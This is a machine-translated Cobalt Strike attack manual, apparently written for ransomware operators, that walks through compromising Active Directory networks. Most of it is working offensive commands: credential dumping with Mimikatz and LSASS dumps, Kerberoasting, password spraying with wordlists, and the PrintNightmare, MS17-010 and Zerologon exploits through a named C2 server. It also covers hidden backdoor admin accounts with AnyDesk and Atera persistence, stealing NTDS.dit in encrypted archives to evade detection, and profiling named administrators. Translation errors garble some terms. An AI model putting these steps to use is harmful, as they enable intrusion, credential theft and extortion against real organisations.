

Subscribe to DeepL Pro to edit this document.  
Visit [www.DeepL.com/pro](https://www.deepl.com/pro?cta=edit-document) for more information.

**CobaltStrike**

**MANUALS\_V2**

**Active Directory**

**Stage I. Raising Privileges and Gathering Information**

**1. Initial Reconnaissance**

1.1 Finding company income

Find the company website

Google: SITE + revenue (mycorporation.com+revenue) ("mycorporation.com" "revenue")

check more than 1 site, if possible

(owler, manta, zoominfo, dnb, rocketrich)

1.2 Definition of AB

1.3. **shell whoami** < ===== who am I

1.4. **shell whoami /groups** --> my rights on the bot (if the bot came with a blue monitor)

1.5.1. **shell nltest /dclist:** <===== contrelators domain

net dclist < ===== domaincontrollers

1.5.2. **net domain\_controllers** < ===== this command will show the ip addresses of the domain controllers

1.6. **shell net localgroup administrators** <===== local administrators

1.7. **shell net group /domain "Domain Admins"** <===== Domain Admins

1.8. **shell net group "Enterprise Admins" /domain** <===== enterprise admins

1.9. **shell net group "Domain Computers" /domain** <===== total number of PCs in the domain

1.10. **net computers** < ===== ping all hosts with ip address output.

Then act depending on the information received, for example, if there are 3k cars, it is better to first perform a Kerberoast attack, because the bot for 2 hours, while the balls will be removed, will fall off, etc.

**2. Removing the ball**

The balls are removed in two cases:

1. When we are looking for where we can put the payload. In this case we need only balls with write permissions (admin balls without balls with read permissions). To get them we execute:

**powershell-import /home/user/work/ShareFinder.ps1**

**psinject 1234 x64 Invoke-ShareFinder -CheckAdmin -Verbose | Out-File -Encoding ascii C:\ProgramData\sh.txt**

2. When we are looking for the information that we will download in the second step. In this case, we need a balloon with read access. We will put a token of administrator of the domain from which we will start unloading data (different admins may have access to different spheres) and remove the spheres with the following command:

**powershell-import /home/user/work/ShareFinder.ps1**

**psinject 5209 x64 Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\shda.txt**

Next, we study the removed balls, we are interested in

\* Finance docs

\* Accounting

\* Aichi

\* Clients

\* Projects

And so on, it all depends on what our target is doing.

Then we pump out what we've taken away, about this in the second section.

**3. Kerberoast attack**

The goal is to get an admin hash for the next brute force attack

1 way:

**powershell-import /home/user/work/Invoke-Kerberoast.ps1**

**psinject 4728 x64 Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath c:\ProgramData\pshashes.txt -append -force -Encoding UTF8**

Method 2:

**execute-assembly /home/user/work/Rubeus. exe kerberoast /ldapfilter:'admincount=1' /format:hashcat /outfile:C:\ProgramData\hashes.txt**

**execute-assembly /home/user/work/Rubeus. exe asreproast /format:hashcat /outfile:C:\ProgramData\asrephashes.txt**

As a result, we get files in the directory C:\ProgramData\, which may be a hash, download and if successful, send hashes to the brute force through the teamsters.

**4. Mimikatz**

mimikatz

version

Retrieving passwords as plain text

**privilege::debug** - check for appropriate permissions

**log nameoflog. log** - run the logging function

**sekurlsa::logonpasswords** - outputs all passwords stored on this computer in unencrypted form

**log**

**privilege::debug**

**sekurlsa::logonpasswords**

**token::elevate**

**lsadump::sam**

**exit**

**lsadump::dcsync /user:Administrator** - pass YES recognize on pdc

**sekurlsa::pth /user: /domain: /ntlm: /run:cmd**  - PASS DE HASH (use NTLM instead of password) (same as runas /user:user cmd #PASSWORD#)

Mimikatz in Cobalt Strike

**getsystem**

**hashdump**

**logonpasswords**

**beacon> make\_token domen\user password -** put a token from the user

**beacon> pth domen\user NTLM -** put the token from the user

**beacon> rev2self -** restore the original appearance of the session

**beacon> dcsync domain.com (**where domain.com is the network domain) - take all hashes from the domain (you need a YES token)

If you found the login and hash:

**pth Domain\Admin pass**(as hash)

**shell dir \\ip or hostname\c$**

**EliAdmin:1001:aad3b435b51404eeaad3b435b51404ee:b0059c57f5249ede3db768e388ee0b14:::**

**pth ELC\EliAdmin b0059c57f5249ede3db768e388ee0b14**

If you found your username and password

**make\_token Domain\Admin Pass**

**rev2self** - remove the token

Reading lsass

Downloading the latest release of mimikatz from github

Open cmd as administrator

**C:\work\mimikatz\win32 > mimiKatz**

**privilege::debug**

**sekurlsa::minidump lsass.dmp** - work with the dump file

**log** - duplicate the output in the log

Looking at the mimikatz file

Save:

Logins and passwords in blank

2. If there is no password, save NTLM and SHA1 (Later you can decrypt or use Pass The Hash attack)

On Windows 2003 it is not possible to set up lsass.exe via taskmgr.

----------------------------------------------------------------

Open Task Manager, go to Processes, select **lsass.exe**, click on it and click on **Dump Process**.

The process dump should be in

**C:\user\%user%%%AppDara\Local\Temp\lsass.DMP**

Download the dump by any means

Using **procdump. exe** and **procdump64.exe**

Download **procdump. exe** or **procdump64.exe**

Run **procdump. exe** or **procdump64.exe**

**procdump. exe -acceptula -ma lsass. exe C:\compaq\lsass.dmp**

**procdump64.exe -acceptula -ma lsass. exe C:\compaq\lsass.dmp**

Download **lsass.dmp** and delete **lsass.dmp** and **procdump**

**Zerologon**

**mimikatz lsadump::zerologon /target:[controller.domain.local]/account:[controller]$ /exploit**

**mimikatz lsadump::zerologon /target:DC01.contoso. com /account:DC01$ /exploit**

Procdump: in mimikatz

**lsadump::mimidump LSAdump.dmp**

**log**

**sekurlsa::logonpasswords**

**exit**

LSASS:

method via coba: (\*\*\* special thanks to @Sven)

!\*

**1)**

**2) shell rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID C:\ProgramData\lsass.dmp full (**the pid is from Lsass)

(shoot on a remote car) coba\_wmic:

**shell wmic /node:[target] process call create "cmd /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID**

**C:\ProgramData\lsass.dmp full"**

**remote-exec psexec [target] cmd /c rundll32.exe**

**C:{windows\System32\comsvcs.dll, MiniDump PID**

**C:\ProgramData\lsass.dmp full**

===============================================================

method via RDP:

Open **taskmgr** => PKM **po lsass process =>** create **Dump file.** Next, download the file to your computer.

**5. Checking for saved passwords in domain group policy files**

**-----------------------------------------------**

**execute-assembly /home/user/work/Net-GPPPassword. exe**

**-----------------------------------------------**

**6. SMB Autobrut**

The input data for this attack are passwords only.

**- the ones that were downloaded from the CharpChrome browser**

**- The ones that SeatBeltom has made**

**- the ones that were squeezed in the course of work inside the network (mimicattsem, etc.)**

**And in general any others, such as those found in the**

If there are fewer such passwords than we can launch a bruteforce attack, we can safely add them from the following list of the most common in the corporate environment.

Password1

Hello123

password

Welcome1

banco@1

training

Password123

job12345

spring

food1234

We also recommend using password lists based on seasons and the current year. Considering that passwords change every three months, you can take a "reserve" to generate such a list.

For example, in August 2020 we create the following list

June2020

July2020

August20

August2020

Summer20

Summer2020

June2020!

July2020!

August20!

August2020!

Summer20!

Summer2020!

All of the passwords above fall into either 3 of the 4 Active Directory password requirements (which is enough for users to set them), or all 4 requirements.

Note: We are considering the most popular version of the requirements.

-----------------------------------------------------------------------------

Scenario with domain administrators

1. Collect a list of domain administrators with the command

**shell net group "domain admins" /dom**

Write the resulting data into the **admins.txt** file

**2.** Fill this file on the host in the folder **C:\ProgramData**

**3.** Request information on domain account blocking policy (protection against bruteforce)

**beacon> shell net accounts /dom**

Tasked beacon to run: net accounts /dom

host called home, sent: 48 bytes

received output:

The request will be processed at a domain controller for domain shookconstruction.com.

Force user logoff how long after time expires?: Never

Minimum password age (days): 1

Maximum password age (days): 42

**Minimum password length:** 6

Length of password history maintained: 24

**Lockout threshold:** Never

Lockout duration (minutes): 30

Lockout observation window (minutes): 30

Computer role: BACKUP

We are interested in the parameter **Lockout threshold,** which often contains a certain numeric value, which in the future we must use as a parameter (in this case stands **Never** - means that the protection against password brute force is disabled.

In this guide, we'll indicate a value of 5 as the approximate most commonly encountered value.

The **Minimum password length** parameter specifies the minimum allowed number of characters of the password, it is required to filter our **"list"** of **passwords**.

**4.** In the source code of the script specify the domain in which the script will run:

**$context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain", "shookconstruction.com")**

**5.** Import and run the script

**powershell-import /home/user/work/scripts/Invoke-SMBAutoBrute.ps1**

**psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Hello123, Welcome1, password, banco@1, training, Password123, spring, food1234, job12345, 1qazXDR%+"**

The list of passwords consists of one that we "found" and two from the list of popular passwords

6. Watch the progress of the script and see the result

**Success! Username: Administrator. Password: 1qazXDR%+**

**Success! Username: CiscoDirSvcs. Password: 1qazXDR%+**

We've scrambled two domain administrators.

A scenario without a list of users differs in only two things.

**psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5**

We don't specify parameters **UserList** and **ShowVerbose**. The absence of the first means that the search will be performed on ALL users in the domain, the absence of the second indicates that only the Successful results will be displayed.

**Success! Username: Administrator. Password: 1qazXDR%+**

**Success! Username: CiscoDirSvcs. Password: 1qazXDR%+**

**Success! Username: support. Password: 1qazXDR%+**

**Success! Username: accountdept. Password: 1qazXDR%+**

As you can see we were able to find accounts of other users that may be useful for further promotion on the network and raising the rights.

If there is no positive result, you can repeat after some time (optimal to multiply by two the Lockout duration parameter before the next attempt) with a new list of passwords.

The end of the script will be indicated by a message in the beacon

**7. PrintNightmare**

Vulnerability is fresh, but it's already notorious. We use it before it's shut down) CVE-2021-34527 It allows to create local administrator, it's useful if there is an agent which comes with simple user rights

On the agent:

**powershell-import //import file CVE-2021-34527.ps1**

**powershell Invoke-Nightmare -NewUser "HACKER" -NewPassword "FUCKER" -DriverName "Xeroxxx"** //create user HACKER with password FUCKER, added to localadmin

**spawnas COMPNAME\HACKER FUCKER https** //instead of https name listener agent flies in from under our new localadmin Also there is a chance to get an agent from under **SYSTEM\***, do the following after the import:

**Invoke-Nightmare -DLL "\polniy\put\do\payload.dll"**

https://github.com/calebstewart/CVE-2021-1675

**8. ms17\_010**

**Windows XP and 2003 - do not have the ms17\_010 patch**

**Windows 7, 8, 10, 2008, 2012, 2016 - may not be patched and therefore vulnerable. During an attack on them, to increase the chances of successful operation, specify the login and password of the domain user.**

Removed AD, pinged ip addresses.

ip addresses must be written in one line with spaces.

**1.** Running a proxy in Cobalt Strike:

In the Cobalt Strike console, enter a command:

**socks 18585**

**18585 - port**

**2.** Scan for vulnerabilities:

Enter the following commands into the **Metasploit** console:

**use auxiliary/scanner/smb/smb\_ms17\_010**

**set Proxies socks4: 172.98.192.214:18589**

**set threads 10**

**set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40**

When attacking Windows 7, 8, 10, 2008, 2012, 2016 we additionally specify:

**set smbuser login**

**set smbdomain domain**

**set smbpass password**

**run**

**auxiliary/scanner/smb/smb\_ms17\_010** - Metasploit auxiliary module that scans the target for vulnerabilities;

**set Proxies socks4: 172.98.192.214:18589** - tell the metasploit to use a proxy to access the target network;

**172.98.192.214 - Cobalt Strike server ip**

**18589 - port**

**set threads 10** - use 10 threads

**set RHOSTS** - all target ip addresses with a space

**run** - run the module

Result:

[\*] Scanned 10 of 44 hosts

[+] 10.0.0.200:445 -Host is VULNERABLE to... <== vulnerable host

Save ip addresses of vulnerable hosts.

**3.** exploiting a vulnerability to obtain a meterpreter session

**use exploit/windows/smb/ms17\_010\_psexec**

**set Proxies socks4: 172.98.192.214:18589**

**set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40**

**set payload windows/meterpreter/bind\_tcp**

**set verbose 1**

**run**

If the session does not open, change the format of the payload file:

**set target 1**

**run**

**set target 2**

**run**

**set target 3**

**run**

Change the payload and again alternately try to open the session with different formats of payload files.

**set payload windows/meterpreter/bind\_tcp\_rc4**

Also try all file formats

If it didn't work again: The next method rarely works. Try to roll through the session in **Cobalt Strike**:

**set payload windows/meterpreter/reverse\_https**

**set lport 443**

**set lhost 172.98.192.214 (**ip Cobalt Strike)

Again we try all file formats

**exploit/windows/smb/ms17\_010\_psexec** - **Metasploit** module that delivers a payload to the target and opens a session

**set payload windows/meterpreter/bind\_tcp** - specify what payload to use.

**target 1** is **ps1** (PowerSell does not work on windows xp and windows 2003, we use it on newer versions of windows)

**target 2** is **an exe**

**target 3** is **mof**

Result:

A session should appear. In **Metasploit** you can check with the **sessions** command.

After getting the session, we try to get the login and password for the domain administrator account:

Switching to a session. The **sessions 1** command (1 is the session number)

**getuin** - get the pid of the process the session is running on. If the pid is there, then the session is alive.

**hashdump** - save hashes

We take off passwords and hashes:

**load mimikatz** - load mimikatz on the target.

**Wdigest** - Trying to retrieve passwords entered by the user himself

**kerberos** - ?

**livessp** - ?

**ssp** - entered via RDP

**tspkg** - ?

**background**  - minimize the session (then you can open it again with **sessions 1**)

**If you still can't get a session, then try to create an administrator and connect through it via RDP.**

Using a vulnerability to run a command (creating a user and adding him to the local Administrators group)

**use auxiliary/admin/smb/ms17\_010\_command**

**set Proxies socks4: 172.98.192.214:18589**

**set RHOSTS 10.0.0.200 10.0.0.37 10.0.0.200 10.0.0.81**

**set command net user OldAdmin 1Q2w3E4r5T6y /add**

**set verbose 1**

**run**

**set command net localgroup Administrators OldAdmin /ADD**

**run**

**use auxiliary/admin/smb/ms17\_010\_command** - **Metasploit** auxiliary module that runs the specified command with administrator privileges on the target and returns the result to the Metasploit console;

**set command** ... - specify what command to execute;

**net user OldAdmin 1Q2w3E4r5T6y /add** - create a user;

**net localgroup Administrators OldAdmin /ADD** - add a user to the local administrators group

**set verbose 1** - more detailed output. If something doesn't work, send it to someone more experienced.

Result:

The specified command should work.

The command completed successfully can be seen by the line **The command completed successfully**

Connecting via RDP.

Option 1 - running a crypto paiload (can get a session)

It's simple, any way you drop the file and run it.

Option 2 is to get a dump of the process **lsass.exe** and retrieve the credentials from it locally.

How to do this is written **in the mana Mimikatz**

**9. RouterScan**

Software for Windows, allows you to brute force routers, cameras, some NAS (depending on the type of authorization), if they have a web interface.

First it tries to figure out what kind of device it is, then it applies the appropriate exploits to it (it breaks microtic even if the firmware is lower than 6.12 in a second and gives out a clean password)

If there are no exploits for this model, it starts to brute-force. Dictionaries are loaded as necessary in 3 text files, beginning with **auth\_\*\*\*.txt**, lying in the root of the program. In this form:

**login password**

**login password**

Only not indented with a space, but with a Tab

**Set up a socket on the cob, proxy it through ProxyFier, run it on your Windows, set up ranges or specific ip, number of threads (5 is fine) and timeout (this value is better to increase to 3000ms so as not to miss it). Default ports are already specified, you can add your own if the web is not on the standard. In the Scanning Module check the first one (Router scan main) and HNAP 1.0, you will not need the others. Click start, wait and hope for results**

**10. Zerologon**

There are two ways.

1. Via minik, in mana pro mimik

2. By connecting the script in the cobu

Download the script here

**https://github.com/rsmudge/ZeroLogon-BOF**

Connect as usual, script address

**ZeroLogon-BOF/dist/zerologon.cna**

A new command, **zerologon,** should appear in the console

Application:

**net domain** - get the domain name (e.g. domain.local)

Running the exploit:

**zerologon iunderstand domain.local**

**iunderstand** - stop word. By exploiting this vulnerability we reset the password. This exploit can cause a domain controller malfunction. WE USE IT LAST.

If successful, we get:

**Success! Use pth . \%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync**

We do everything as it is written.

**pth . \\%S 31d6cfe0d16ae931b73c59d7e0c089c0**

And we perform

**dcsync domain.local**

If everything worked successfully, we get NTDS

**11. Fixing**

Immediately after getting **SYSTEM rights**.

**AnyDesk** - on abandoned hosts

**Atera** - on the rest

**11.1 Zaprepp AnyDesk**

Function AnyDesk {

mkdir "C:\ProgramData\AnyDesk"

# Download AnyDesk

$clnt = new-object System.Net.WebClient

$url = "http://download.anydesk.com/AnyDesk.exe"

$file = "C:\ProgramData\AnyDesk.exe"

$clnt.DownloadFile($url,$file)

cmd. exe /c C:\ProgramData\AnyDesk. exe --install C:\ProgramData\AnyDesk --start-with-win --silent

cmd. exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk. exe --set-password

net user oldadministrator "qc69t4B#Z0kE3" /add

net localgroup Administrators oldadministrator /ADD

reg add "HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG\_DWORD /d 0 /f

cmd. exe /c C:\ProgramData\AnyDesk. exe --get-id

}

**AnyDesk**

Running the code in **Powershell ISE Run As Admin**

The output **is the ID**

Saving it to yourself

**On a separate harddisk on the Anydesk download, specify the ID**

**Click Console Account**

Enter password

**Cite**

J9kzQ2Y0qO

And then authorize with a local administrator or domain account and use the charms **of Anydesk**

**You can also download/download to the victim's car, which can be helpful in inspecting and finding documentation point by point.**

**11.2 Atera Zacrep**

Website **https://app.atera. com**

Register at

At the top, click **Install agent**

**Download the agent and drop it on the bot**

Starting the agent:

**shell AGENT INSTALLER.msi**

**In the Devices section of the website, you should be able to access**

**Uninstalling the agent installer**

**13. Final Reconnaissance**

**13.1 Searching for Trusts**

**shell nltest /domain\_trusts /all\_trusts**

**13.2 Taking out the NTDS**

If you found the Admin Domain

**make\_token Domain\Admin pass**

**shell dir \\\ypie or hotname\c$** on the MPC or DK, if it passes us by:

**dcsync domain.com** (**domain.com** is the domain of the network)

**Getting NTDS**

We need privileges:

**ReplicatingDirectoryChangesAll**

**ReplicatingDirectoryChanges**

BARE NTDS DUMP

**shell wmic /node: "DC01" /user: "DOMAIN\admin" /password: "cleartextpass" process call create "cmd /c vssadmin list shadows >> c:\log.txt"**

query the Shadow Copy listing, there is a date, make sure it is a recent date

They are almost certainly already there, and if not, we do it ourselves.

**net start Volume Shadow Copy**

**shell wmic /node: "DC01" /user: "DOMAIN\admin" /password: "cleartextpass" process call create "cmd /c vssadmin create shadow /for=C: 2>&1"**

then in the Shadow Copy listing find the most recent one

**Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55**

accordingly we need the copy number for the following command

**shell wmic /node: "DC01" /user: "DOMAIN\admin" /password: "cleartextpass" process call create "cmd /c copy \\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\NTDS\NTDS.dit c:\temp\log\ & copy \\?"GGLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\System32\config\SYSTEM c:\temp\log\ & copy \\\?**

**The ntds.dit / security / system** files should fall into **c:\temp\log\**

take the portable console 7z and pack it in the archive with the password

Code: [Highlight].

**7za. exe a -tzip -mx5 \\DC01\C$\temp\log. zip \\DC01\C$\temp\log -pTOPSECRETPASSWORD**

download the password-protected archive to yourself, if you get an error (the file is corrupted) when decrypting the ntds file, then do the following

**Esentutl /p C:\log\ntds.dit**

**the trick of this method is that we don't actually dump anything, we just take and pump out the ntds**

**In order not to be spotted pulling out the ntds we pack it in a password-protected archive**

If you have a problem with being dropped from the network after a ntds dump, try this method

it can be burned only by the fact of some leaked date from the CD, and it is impossible to analyze what exactly you are carrying without knowing the password to the archive

**13.3 Searching for backups (Backup) and NAS (NetScan)**

Wonderful **tool-NetScan**, which makes it easy to scout and find **NAS\Backup**, etc.

Scans networks by band, using the creeds of the user/admin on whose behalf you run the software.

Outputs the following information:

**Host name, open ports, group/domain membership, total disk capacity, available spheres, device manufacturer, PC/server role**

**1)** Upload the **NetScan** folder to any infected PC. Let's say **C:\Programdata\netscan**

**2) cd C:\programdata\netscan**

**3) make\_token DOMAIN\admin password**

**4) shell netscan. exe /hide /auto: "result.xml" /config:netscan.xml /range:192.168.0.1-192.168.1.255 or for range.txt = 10.1.200.0/24**

Where 0/24 is the netmask, so take each IP after pinging and put it in the range txt file

**Or write an unlikely IP via ENTER to the range.txt file and use the command:**

**shell netscan.exe /hide /auto: "resuult.xml" /config:netscan.xml /file:range.txt**

**Change the ranges to your own, leave the rest untouched**

**5) Wait. When finished, we will have a file result.xml in the folder, download it to your computer**

**6) Open NetScan on your computer, upload the downloaded file and see the results in a convenient format.**

**Let's sort by disk size, so you'll know right away where the juiciest is hidden//**

**13.4. hantim admins**

And so, if we have servers, or cloud storage, where backups are stored, but we do not have access, we need the credentials that only the administrator has.

Accordingly, we need to scheme it. Usually in the networks in which we work admins 1-2-3, no more.

People divide positions into 3 types:

**Senior**

**Medium**

**Junior**

Of course, we are interested in the seniors because they have more privileges/accesses (i.e. passwords).

First, I will write a few options on how to determine the accounts of those very administrators who have passwords on board.

**Part 1**

**Option #1:**

Questioning YES

**beacon> shell net group "domain admins" /domain**

Tasked beacon to run: net group "domain admins" /domain

host called home, sent: 64 bytes

received output:

La demande sera traitée sur contrôleur de domaine du domaine DOMAIN.com.

Nom de groupe Domain Admins

Commentaire Designated administrators of the domain

Membres

----------------------------------------------------------------

Administrator ClusterSvc createch

Createch2 d01adm da9adm

p01adm PMPUser q01adm

repl s01adm Sapserviced01

SAPServiceDA9 sapservicep01 SAPServiceQ01

sapservices01 SAPServiceSND SAPServiceSOL

services services2 sndadm

soladm somadm staseb

telnet Johnadm

La commande s'est terminée correctement.

We look and filter service and non-service accounts with our eyes.

The service ones in the list above are for example

**SAPServiceDA9**

**services**

**telnet**

**servies2**

**Sapservice01**

...

Which accounts are the most likely to work for us:

**staseb**

**Johnadm**

They were recorded.

We can see who they are in **adfind\_persons.txt**

or by using the command

**shell net user staseb /domain**

See example:

**beacon> shell net user ebernardo /domain**

Tasked beacon to run: net user ebernardo /domain

host called home, sent: 57 bytes

received output:

User name ebernardo

Full Name Eric Bernardo

Comment

User's comment

Country/region code (null)

Account active Yes

Account expires Never

Password last set 2020-12-08 12:05:15 PM

Password expires 2021-06-06 12:05:15 PM

Password changeable 2020-12-08 12:05:15 PM

Password required Yes

User may change password Yes

Workstations allowed All

Logon script

User profile

Home directory

Last logon 2021-01-29 2:25:24 PM

Logon hours allowed All

Local Group Memberships \*Administrators \*Remote Desktop Users

\*Server Operators

Global Group memberships \*US Users \*Great Plains Users

\*Citrix Group \*VPN Users Saskatoon

\*Admins - AD Basic \*VPNUsersHeadOffice

\*Executives \*All Winnipeg Staff

\*Scribe Console Users \*Domain Admins

\*VPN Users USA \*Workstation.admins

\*Domain Users

The command completed successfully.

We look at who he is - he's in a dozen groups, and ALWAYS in the Comment column they write what he is - **engineer/sys admin/support/business consultant.**

In **Last Logon,** the account must be ACTIVE - that is, the Last Logon is today / yesterday / this week, but not a year ago or Never.

If you do not understand who he is after the survey, see **adfind + check linkedin (section below)**.

**So 2-3-5 accounts in the end, you get out of the domain admins and questioned each and should have an idea who it is. As a result, 1-2-3 accounts are found who can be an administrator.**

Option #2:

Let's turn into home analysts - **watch Adfind.**

We are interested in the **adfind\_groups** file

Go in, see a bunch of text

**Press Ctrl + F (Notepad2 / Geany)**

Enter

**dn:CN=**

And the **Find All in current document** button.

The output is EXACTLY the following (I cut out a piece and left 5 lines, usually there are 100 to 10,000 lines)

adfind\_groups:3752: dn:CN=SSQLerver2005SQLBrowserUser$TRUCAMTLDC,CN=Users,DC=domain,DC=com

adfind\_groups:3775: dn:CN=clubsocial,CN=Users,DC=domain,DC=com

adfind\_groups:3800: dn:CN=Signature Intl-Special,OU=Groups,OU=Infra,DC=domain,DC=com

adfind\_groups:3829: dn:CN=FIMSyncAdmins,CN=Users,DC=domain,DC=com

adfind\_groups:3852: dn:CN=GRP-GRAPHISTE,OU=FG-GRP,DC=domain,DC=com

**And so, we extracted the active directory groups.**

What we are interested in here and why we did it - in **active directroy** everything is structured and in the **USA EU networks everything makes maximum sense transparently with comments, notes, spellings, etc.**

We are an interesting group that deals with IT, administration, LAN engineering.

What came up after the search - take it to a new notebook and do a search for the following keywords:

IT, Admin, engineer

In the example above we find the following line

**adfind\_groups:3877: dn:CN=IT,CN=Users,DC=domain,DC=com**

Go to line 3877 in **adfind\_Groups.txt** and see the following:

dn:CN=IT,CN=Users,DC=domain,DC=com

>objectClass: top

>objectClass: group

>cn: IT

>description: Informatique

>member: CN=MS Surface,OU=IT,DC=domain,DC=com

>member: CN=Gyslain Petit,OU=IT,DC=domain,DC=com

>member: CN=ftp,CN=Users,DC=domain,DC=com

>member: CN=St-Amand\, Sebastien\, CDT,OU=IT,DC=domain,DC=com

The ftp and MS Surface users are skipped, but **Gyslain Petit** and **St. Amand Sebastien are taken into consideration.**

Next, open **ad\_users.txt**

Enter **Gyslain Petit**

*Find a user with the following information:*

dn:CN=Gyslain Petit,OU=IT,DC=trudeaucorp,DC=com

>objectClass: top

>objectClass: person

>objectClass: organizationalPerson

>objectClass: user

>cn: Gyslain Petit

>sn: Petit

>title: Directeur, technologie de l'information

>physicalDeliveryOfficeName: 217

>givenName: Gyslain

>distinguishedName: CN=Gyslain Petit,OU=IT,DC=trudeaucorp,DC=com

>instanceType: 4

>whenCreated: 20020323153742.0Z

>whenChanged: 20201212071143.0Z

>displayName: Gyslain Petit

>uSNCreated: 29943

>memberOf: CN=GRP\_Public\_USA\_P,OU=Securite-GRP,DC=trudeaucorp,DC=com

>memberOf: CN=GRP-LDAP-VPN,OU=FG-GRP,DC=trudeaucorp,DC=com

>memberOf: CN=IT Support,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=Directeurs,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=GRP-IT,OU=FG-GRP,DC=trudeaucorp,DC=com

>memberOf: CN=Signature Canada,OU=Groups,OU=Infra,DC=trudeaucorp,DC=com

>memberOf: CN=EDI,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=IT,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=TRUDEAU-MONTREAL,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=everyone,CN=Users,DC=trudeaucorp,DC=com

>uSNChanged: 6908986

>department: IT Manager

Let's see the title and who do we have here? Director of Information Technology. It seems like a bull's-eye, but a director doesn't always have passwords, but a System Administrator does.

Therefore, for the second user or more, we carry out similar manipulations. In your (=conf) make a note of who is who and write logins from the adfind(sAMAccountname) approximately as follows:

**>sAMAccountName: gpetit**

**gpetit - Director of IT**

**staseb - so-and-so**

**The second part of option 2(Simplified):**

See initially in **adfind\_users.txt**

Doing a search on

**title:**

**description**

If you're lucky, the positions will be written directly there. In my test case, it looks like this:

adfind\_persons:280: >title: Responsible, logistique direct import

adfind\_persons:1836: >title: Chef des services techniques

adfind\_persons:1955: >title: Chef comptable

adfind\_persons:4544: >title: Directeur, technologie de l'information

adfind\_persons:6064: >title: Présidente

adfind\_persons:6191: >title: Chargée de projets, mise en marché

adfind\_persons:6285: >title: Directrice marketing

adfind\_persons:6848: >title: Coordonnatrice à la logistique

adfind\_persons:6948: >title: Responsable de l'expedition

Accordingly, we run our eyes over and the accounts are found.

**And so, these are easy methods. Consider alternative searches for admin accounts.**

I know only 1 simple method so far - **linkedin**

Type in google query

**NASHJURT.COM linkedin**

instead of the domain - insert the domain of the office.

Go to **Members**

Do a search there for

**System**

**Admin**

**Engineer**

**Network**

**It**

If someone's first name + last name fell out, then type it into **the adfind** and the account is found.

**And so, part 1 is finished.**

**Let's get to the admin hunt and inspection**

**Part #2:**

Handle the admin by the standard **SharpView**

You can get **SharpView.exe** from your teammates in the conference or from the software conference room.

The command for a hunt is like this:

On Linux

**execute-assembly /home/user/soft/scripts/SharpView.exe Find-DomainUserLocation -UserIdentity gpetit**

On Windows

**execute-assembly C:\Users\Andrey\Soft\Hacking\SharpView.exe Find-DomainUserLocation -UserIdentity gpetit**

where **gpetit** is the account of the person we are looking for. What is written in **adfinusers** in **sAMAccountname** is inserted here.

**The output is approximately the following log:**

UserDomain : domain

UserName : gpetit

ComputerName : DC01.domain.LOCAL

IPAddress : 172.16.1.3

SessionFrom : 192.168.100.55

SessionFromName :

LocalAdmin :

UserDomain : domain

UserName : gpetit

ComputerName : SQL01.domain.LOCAL

IPAddress : 172.16.1.30

SessionFrom : 192.168.100.55

SessionFromName :

LocalAdmin :

UserDomain : domain

UserName : gpetit

ComputerName : lptp-gpetit.domain.LOCAL

IPAddress : 172.16.1.40

SessionFrom : 192.168.100.55

SessionFromName :

LocalAdmin :

And so, the log will be an example of this format, how do we deal with it - First, how the software works - it polls where at the moment at least somehow authorized the user. A user is not an easy - he is an administrator and at some time he could be authorized on 20-30-50 servers.

How do we filter and not get bogged down in it?

**First, we remove uninteresting operating systems**

For example, the first one on the list DC01 is clearly DomainController01, you can check it by **adfind\_computers.txt** or **portscan 172.16.1.13** and see that it is the SERVER OS. We need a client OS.

The second - SQL01 - the database OS. Not suitable for us.

See the third one, **lptp-gpetit**. Hmm, our user's name is **gpetit**, and **lptp** stands for **laptop**, which means laptop. That's probably it.

It **also** happens that an admin is connected ONLY to the server OS, but in the SessionFrom column there is an IP from another subnet (**e.g. vpn subnet**) where he is sitting quietly but **SharpView has** not **"taken"** him - you can also take him into turnover.

**Next - the IMPORTANT PARAGRAPH.**

The first thing newbies try to do is raise a session there, and **they VERY often catch an alert. Alert at the admin** = kicking out of the network, loss of time, and nerves. This is not the way to do it!

What we will do is **interrogate it through the file system**.

We do the following:

**shell net view \172.16.1.40 /ALL**

**At the output we see his local dics**

**C$**

**D$**

**Wear a token** (**Token is** recommended, because **pth** leaves a slightly different **Event ID** on **the domain controller**, and **this can be noticed by the admin** and kick us)

Open File Manager in Cobalt:

**\\172.16.1.40\c$**

Either use the shell via

**shell dir \172.16.1.40\c$**

Check out what's on **the C drive** in a cursory fashion

Go to the folder

**\\172.16.1.40\c$\Users\gpetit**

Usually if it is ACTUALLY an admin's workstation - **it has a lot of junk a la Virtualbox / putty / winscp** etc. etc.

How do we **"examine"** it**,** here is a list of interesting directories:

Desktop

**\\172.16.1.40\c$\Users\gpetit\Desktop**

**\\172.16.1.40\c$\Users\gpetit\OneDrive**

**\\172.16.1.40\c$\Users\gpetit\Downloads**

**\\172.16.1.40\c$\Users\gpetit\Desktop**

**\\172.16.1.40\c$\Users\gpetit\Documents**

Here are the folders with user configurations, below is a list of what can be extracted:

**\\172.16.1.40\c$\Users\gpetit\AppData\Local**

**\\172.16.1.40\c$\Users\gpetit\AppData\Roaming**

**\172.16.1.40\c$\Users\gpetit\AppData\Local\Google\Chrome\User Data\Default**

**Here you can find History && Login Data from Chrome.**

